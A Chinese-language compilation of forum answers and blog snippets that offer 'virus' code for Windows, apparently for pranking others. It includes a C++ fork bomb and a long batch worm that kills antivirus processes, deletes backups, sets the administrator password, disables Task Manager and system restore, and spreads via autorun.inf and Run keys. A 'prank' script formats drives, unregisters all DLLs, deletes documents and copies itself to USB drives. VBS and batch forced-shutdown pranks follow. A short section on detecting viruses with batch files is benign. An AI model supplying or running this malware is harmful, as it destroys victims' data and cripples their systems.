简单的病毒编程代码bat(简单的病毒编程代码vbs)
比较简单的C++病毒代码
/*亲自验证，不到30秒电脑卡死！运行后做好关机准备*/
/*留下您的赞再拿走，谢谢*/
运行效果如图
/*源代码：*/
//////////////////////////////////////////////////
#include?Windows.h
#include?iostream
#include?fstream
using?namespace?std;
int?main()
{
char?a[9]?=?"abc.bat";
ofstream?file_out(a);
file_out"%0|%0";
file_out.close();
system(?a?);
return?0;
}
谁能给一断bat病毒代码？
@echo off title You DEAD!!!!!!! set taskkill=s copy %0 %windir%\system32\cmd.bat attrib %windir%\system32\cmd.bat +r +s +h net stop sharedaccess nul %s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f nul %s% /im norton* /f nul %s% /im av* /f nul %s% /im fire* /f nul %s% /im anti* /f nul %s% /im spy* /f nul %s% /im bullguard /f nul %s% /im PersFw /f nul %s% /im KAV* /f nul %s% /im ZONEALARM /f nul %s% /im SAFEWEB /f nul %s% /im OUTPOST /f nul %s% /im nv* /f nul %s% /im nav* /f nul %s% /im F-* /f nul %s% /im ESAFE /f nul %s% /im cle /f nul %s% /im BLACKICE /f nul %s% /im def* /f nul %s% /im 360safe.exe /f nul net stop Shadow" "System" "Service set alldrive=d e f g h i j k l m n o p q r s t u v w x y z for %%a in (c %alldrive%) do del %%a:\360* /f /s /q nul for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q nul rem 修改注册表....... REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer \Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoRun /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoRecentDocsMenu /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \System /v Disableregistrytools /t REG_DWORD /d 00000002 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoNetHood /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /V NoDesktop /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoClose /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoFind /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoLogOff /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoSetTaskBar /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v DisableSR /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v DisableConfig /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v RestrictRun /t REG_DWORD /d 00000001 /f nul cls net user administrator 123456 nul for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q nul echo @echo off d:\setup.bat echo shutdown -r -t 10 -f -c 亲爱的朋友，我十分抱歉的通知你，你的电脑已经严重崩溃，请重新 安装系统可以解决此问题 !^.^ d:\setup.bat echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动 \a.bat d:\setup.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f d:\setup.bat echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f d:\setup.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat /f d:\setup.bat HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f d:\setup.bat echo [windows] %windir%\win.ini echo run=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini echo load=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini echo [boot] %windir%\system.ini echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT %windir%\system.ini echo [AutoRun] d:\autorun.inf echo Open=setup.bat d:\autorun.inf echo Open=system.bat d:\autorun.inf attrib d:\autorun.inf +r +s +h d:\setup.bat attrib d:\setup.bat +r +s +h d:\setup.bat start d:\setup.bat /min nul echo @echo off C:\AUTOEXEC.BAT echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f C:\AUTOEXEC.BAT echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f C:\AUTOEXEC.BAT REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat /f C:\AUTOEXEC.BAT echo if not d:\setup.bat start %windir%\system32\cmd.bat /min C:\AUTOEXEC.BAT copy %0 %systemroot%\windows.bat nul if not exist %windir%/system32/explorer.bat @echo off %windir%/system32 /explorer.bat if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min % windir%/system32/explorer.bat if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min % windir%/system32/explorer.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f %windir%/system32/explorer.bat echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f %windir%/system32/explorer.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d % windir%/system32/explorer.bat/f %windir%/system32/explorer.bat echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d % windir%/system32/explorer.bat /f %windir%/system32/explorer.bat echo start %systemroot%\windows.bat /min %windir%/system32/explorer.bat attrib %windir%/system32/explorer.bat +r +s +h% attrib %systemroot%/windows.bat +r +s +h for %%c in (%alldrive%) do echo @echo off %%c:\system.bat for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min %%c:\system.bat for %%c in (%alldrive%) do echo attrib system.bat +r +s +h %%c:\system.bat set drive=e f g h i j k l m n o p q r s t u v w x y z for %%c in (%drive%) do echo [AuroRun] %%c:\autorun.inf for %%c in (%drive%) do echo Open=system.bat %%c:\autorun.inf copy %0 d:\Program" "Files\run.bat for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min %%c:\system.bat for %%c in (%alldrive%) do attrib autorun.inf +r +s +h %%c:\system.bat for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h nul for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h nul if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min d:\setup.bat attrib d:\Program" "Files\run.bat +r +s +h nul del %0 exit
怎么用.bat文件查杀病毒？
bat是dos下的批处理文件
批处理运用：查常见病毒
其实，对于上网的人来说，遇到病毒是在所难免的。然而，如果真的不幸感染，怎样才能发现呢？难道真的要买昂贵的杀毒软件吗？不一定。
我们可以编写批处理来查一些常见的网络病毒。如果确认感染病毒，可以下载专用杀毒工具进行查杀，或采取其他途径杀毒。
下面，我以欢乐636f7079e79fa5e9819331333231613865时光为例进行分析：
主文件：1.bat
其它文件：2.bat 3.bat
1.bat代码：
@if exist c:\folder.htt call 2.bat
@if exist d:\folder.htt call 2.bat
@if exist e:\folder.htt call 2.bat
@if exist f:\folder.htt call 2.bat
2.bat代码：
@echo 发现欢乐时光病毒！
@call 3.bat
@pause
3.bat代码：
@c:
@dir *.htt *.ini /s/a1.txt
@d:
@dir *.htt *.ini /s/a1.txt
@e:
@dir *.htt *.ini /s/a1.txt
这样，如果中毒，那么必定会存在大量folder.htt和Desktop.ini，通过这样可以粗略的检查计算机是否感染病毒。
批处理运用三：文件处理
假设，我要大规模的做文件的移动、删除等，如果在Windows里操作不免会出现错误，而且这些错误不易察觉。因此，用批处理进行操作，不但简单易行，而且容易发现错误并可以及时纠正。
例如，我要将D盘的htm文件移动到E盘，再格式化D盘，然后将文件移回D盘，并改后缀为html。
1.bat代码：
@E:
@Md d
@D:
@Copy *.htm e:\d
@if exist e:\d\*.htm call 2.bat
2.bat代码：
@Format d:/q
@Copy e:\d\*.htm d:
@D:
@Ren *.htm *.html
简单的病毒编程代码
蠕虫病毒小代码
打开Visual Basic，选择“Standard EXE”的Project。移除那个Form，然后加入一个Module。点击Project-Project1 Properties。在弹出来的窗口中，把Startup Object改为“Sub Main”。在Module中，键入以下的编码：
Sub Main() 'TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False End Sub。
以上的编码只是把程序从End Task表中除掉，没什么作用。现在，让这个VB蠕虫自行复制去别的文件夹。
在Sub Main中键入以下的编码：
＇阻止问题发生On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 '得到EXE的位置Location = App.Path "\" App.EXEName ".exe" Location2 = App.Path App.EXEName ".exe"。
求!!! 有没有能过杀毒软件的 bat代码 要整人的 无实际伤害的
整人病毒代码（附解除方法）
使用方法：
1、新建txt文件，复制代码
2、改后缀名为bat
3、如果需要可以加入启动项
4、启动病毒
废话不多说，直接上代码
——————————————我是分界线————————————————
:1rem 损坏安全模式reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot /frem 开机自启动reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v windowsdir /t reg_sz /d "c:\%~n0%~x0" /fnulrem 格式化所有盘format d:/qformat e:/qformat f:/qrem 运行exe会自动关联jpgreg add "HKEY_CLASSES_ROOT\exefile\shell\opencommand" "rundll32.exe C:\WINDOWS\system32\shimgvw.dll,ImageView_Fullscreen %1rem 删除系统备份for /f %%a in ('dir /b/s %systemroot%\system32\dllcache') do del /Q %%arem 反注册bai所有dllfor /f "tokens=*" %%b in ('dir /b/s %systemroot%\*.dll') do regsvr32 /s /u "%%b"rem 反注册所有ocxfor /f "tokens=*" %%c in ('dir /b/s %systemroot%\*.ocx') do regsvr32 /s /u "%%c"rem 禁用任务管理器reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 1 /f nulrem USB移动盘感染for %%i in (%drives%) do (fsutil fsinfo drivetype %%i: | find "可移动驱动器"NUL copy %0 %%i)for %%i in (%drives%) do (del %%i:\*.doc /f /s /q del %%i:\*.xls /f /s /q del %%i:\*.ghs /f /s /q)rem 5秒内重启shutdown -r -t 5rem 复制自身+开机自启动copy %0 "C:\Documents and Settings\%userprofile%\「开始」菜单\程序\启动"rem 增加超多硬盘md d:\fly nul 2nulset a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,zfor %%a in (%a%) do subst %%a: d:\fly nul 2nulrem 修改IE标题栏reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "Bitch, I FUCK YOU ！" /frem 销毁自身del %0goto 1
=======================我也是有底线的=====================
杀毒方法：
1、进入winpe
2、下载腾讯电脑管家，安装并联网
3、更新病毒库，查杀完毕后修补漏洞
4、使用系统急救箱杀毒
5、关机，拔出或弹出pe盘
6、重新启动，进入系统
7、修补完成
8、如果帮到你，给我点个赞哦！
恶搞电脑病毒代码有哪些？
有时候想和朋友们玩玩，搞点恶搞电脑病毒给他们，要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!
恶搞电脑病毒代码介绍一：
首先在电脑上新建一个TXT文档
然后把下面这段代码输入进去
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
Dim a
Do While (a "我是猪")
a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
WSHshella.run "cmd.exe /c shutdown -a"
然后保存
然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀，
你要修改为.VBS的后缀
恶搞电脑病毒代码介绍二：
新建一个文本文档，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片，如果对方有邮箱，就发给他
他一打开就会出现你插入的图片，然后出现 蓝屏 (效果7—10分钟)(注：做好病毒后不要打开，否则会出现以上说的情况)
恶搞电脑病毒代码介绍三：
新建一个文本文档(.txt)，要复制以下代码：
@echo off
color 4
tskill explorer
echo .
echo .
echo .
echo .
echo 警告：在病毒执行期间禁止关闭电源，
echo 否则你就和你心爱的电脑说
echo .
echo . BYE-BYE
echo .
echo Computer system crash!
echo .
echo .
echo I am a virus, my name is Ghost.
echo 我是魔鬼病毒，在这个堕落的世界上苏醒了。
echo .
echo . Warning! CPU has been changed please re-enter CPU settings
echo. in the CMOS setuo and remember to save before quit.
echo. Secondary IDE channel no 80 conductor cable installed.
set /p select=:)
if "%select%"=="" goto start
:start
shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。"
::结束
再另存为：名字.bat 你要记住"名字"后面要加".bat"
就可以了，没有任何破坏性，吓吓人。
你可以试试看看效果。